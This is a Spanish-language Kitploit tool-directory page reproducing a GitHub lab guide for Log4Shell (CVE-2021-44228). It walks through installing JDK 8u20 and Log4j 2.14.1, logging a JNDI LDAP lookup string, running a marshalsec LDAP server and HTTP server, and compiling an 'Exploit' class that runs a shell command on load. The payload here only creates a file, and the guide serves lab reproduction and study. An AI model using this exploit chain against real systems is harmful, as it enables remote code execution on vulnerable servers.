Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228 — Guía de reproducción paso a paso para CVE-2021-44228 (Log4Shell) con JDK 8u20, Log4j 2.14.1 vulnerable, servidor LDAP marshalsec y compilación de payload personalizado. | Kitploit
Herramientas/GitHubGitHub/racoon-rac/cve-2021-44228
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

Guía de reproducción paso a paso para CVE-2021-44228 (Log4Shell) con JDK 8u20, Log4j 2.14.1 vulnerable, servidor LDAP marshalsec y compilación de payload personalizado.

Ver Repositorio
5hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-44228

Creo que esta historia es más práctica (llorando)christophetd/log4shell-vulnerable-app

Solo lo investigué por impulso y curiosidad, por lo que probablemente haya partes ambiguas o errores.
Por favor, hazlo bajo tu propia responsabilidad.

Crear el entorno de reproducción.

Se espera que funcione en entornos Linux.

1. Descarga de JDK

A partir de jdk8u191, se agregó la opción com.sun.jndi.rmi.object.trustURLCodebase y su valor predeterminado es False. En este estado no se pueden cargar clases externas, así que esta vez utilizaremos una versión anterior.
(¿¿Se pueden cargar las clases internas o hacer bypass??) https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Descarga directa de jdk8u20
Descomprímelo y colócalo en algún lugar como /opt.

2. Preparar el log4j vulnerable

Descargar log4j
Descomprímelo y extrae log4j-api-2.14.1.jar y log4j-core-2.14.1.jar (esta vez los puse en un directorio llamado log4japp).

3. Configurar el classpath de log4j

root@kitploit:~
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. Crear una aplicación sencilla

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource がないと動きませんでした。
        }
}

5. Preparar marshalsec

mbechler/marshalsec
Redirige la consulta LDAP hacia la parte web.

root@kitploit:~
mvn clean package -DskipTests

Iniciar la escucha

root@kitploit:~
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

Preparar también el destino de redirección de marshalsec

root@kitploit:~
python3 -m http.server 8888

6. Preparar la clase que se pasará a marshalsec

root@kitploit:~
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

Compilar usando el jdk8u20 instalado

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. exploit

Compilar y ejecutar usando el jdk8u20 instalado.

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

Descargar herramienta